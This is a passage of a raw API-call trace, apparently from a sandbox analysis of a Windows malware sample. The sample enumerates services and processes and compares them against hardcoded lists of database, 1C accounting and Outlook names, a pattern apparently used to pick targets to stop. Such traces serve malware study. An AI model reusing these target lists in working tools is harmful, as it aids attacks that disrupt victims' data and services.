(lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.292] lstrlenW (lpString="Power") returned 5 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.293] lstrlenW (lpString="ProfSvc") returned 7 [0252.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.293] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.293] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.293] lstrlenW (lpString="RpcSs") returned 5 [0252.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.293] lstrlenW (lpString="SamSs") returned 5 [0252.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.293] lstrlenW (lpString="Schedule") returned 8 [0252.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.293] lstrlenW (lpString="SENS") returned 4 [0252.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.294] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.294] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.294] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.294] lstrlenW (lpString="Spooler") returned 7 [0252.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.294] lstrlenW (lpString="SysMain") returned 7 [0252.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0252.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0252.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0252.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0252.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0252.294] lstrlenW (lpString="Themes") returned 6 [0252.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0252.294] lstrlenW (lpString="TrkWks") returned 6 [0252.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0252.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0252.294] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0252.294] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0252.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0252.294] lstrlenW (lpString="UxSms") returned 5 [0252.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0252.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0252.294] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0252.294] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0252.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0252.294] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0252.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0252.296] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.296] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.297] lstrlenW (lpString="System") returned 6 [0252.297] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0252.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0252.297] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0252.297] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0252.297] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0252.297] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0252.297] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0252.297] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.297] lstrlenW (lpString="smss.exe") returned 8 [0252.297] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0252.297] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0252.297] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0252.297] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0252.297] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0252.297] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0252.297] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0252.297] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.298] lstrlenW (lpString="csrss.exe") returned 9 [0252.298] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0252.298] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0252.298] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0252.298] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0252.298] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0252.298] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0252.298] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0252.298] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.298] lstrlenW (lpString="wininit.exe") returned 11 [0252.298] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0252.298] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0252.298] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0252.298] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0252.298] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0252.298] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0252.298] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0252.298] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.298] lstrlenW (lpString="csrss.exe") returned 9 [0252.299] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0252.299] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0252.299] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0252.299] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0252.299] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0252.299] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0252.299] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0252.299] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.299] lstrlenW (lpString="winlogon.exe") returned 12 [0252.299] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0252.299] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0252.299] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0252.299] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0252.299] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0252.299] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0252.299] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0252.299] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.299] lstrlenW (lpString="services.exe") returned 12 [0252.300] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0252.300] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0252.300] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0252.300] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0252.300] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0252.300] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0252.300] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0252.300] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.300] lstrlenW (lpString="lsass.exe") returned 9 [0252.300] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0252.300] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0252.300] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0252.300] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0252.300] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0252.300] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0252.300] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0252.300] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0252.300] lstrlenW (lpString="lsm.exe") returned 7 [0252.300] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0252.301] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0252.301] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0252.301] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0252.301] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0252.301] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0252.301] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0252.301] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.301] lstrlenW (lpString="svchost.exe") returned 11 [0252.301] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.301] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.301] lstrlenW (lpString="svchost.exe") returned 11 [0252.301] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.301] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.302] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.302] lstrlenW (lpString="svchost.exe") returned 11 [0252.302] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.302] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.302] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.302] lstrlenW (lpString="svchost.exe") returned 11 [0252.302] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.303] lstrlenW (lpString="svchost.exe") returned 11 [0252.303] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.303] lstrlenW (lpString="audiodg.exe") returned 11 [0252.303] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.303] lstrlenW (lpString="svchost.exe") returned 11 [0252.303] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.304] lstrlenW (lpString="svchost.exe") returned 11 [0252.304] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0252.304] lstrlenW (lpString="userinit.exe") returned 12 [0252.304] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.304] lstrlenW (lpString="dwm.exe") returned 7 [0252.304] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.305] lstrlenW (lpString="explorer.exe") returned 12 [0252.305] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.305] lstrlenW (lpString="spoolsv.exe") returned 11 [0252.305] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0252.305] lstrlenW (lpString="taskhost.exe") returned 12 [0252.305] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.305] lstrlenW (lpString="svchost.exe") returned 11 [0252.305] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0252.306] lstrlenW (lpString="uyuquk.exe") returned 10 [0252.306] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0252.306] lstrlenW (lpString="reader_sl.exe") returned 13 [0252.306] Process32NextW (in: hSnapshot=0x1fc, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0252.306] CloseHandle (hObject=0x1fc) returned 1 [0252.306] Sleep (dwMilliseconds=0x1f4) [0252.949] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x614798 [0252.993] EnumServicesStatusExW (in: hSCManager=0x614798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0252.993] GetLastError () returned 0xea [0252.993] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x5a9210 [0252.993] EnumServicesStatusExW (in: hSCManager=0x614798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a9210, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a9210, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0252.993] CloseServiceHandle (hSCObject=0x614798) returned 1 [0252.993] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0252.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.994] lstrlenW (lpString="AudioSrv") returned 8 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0252.994] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0252.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0252.994] lstrlenW (lpString="BFE") returned 3 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.994] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.994] lstrlenW (lpString="CryptSvc") returned 8 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.994] lstrlenW (lpString="CscService") returned 10 [0252.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0252.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0252.994] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0252.994] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0252.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0252.994] lstrlenW 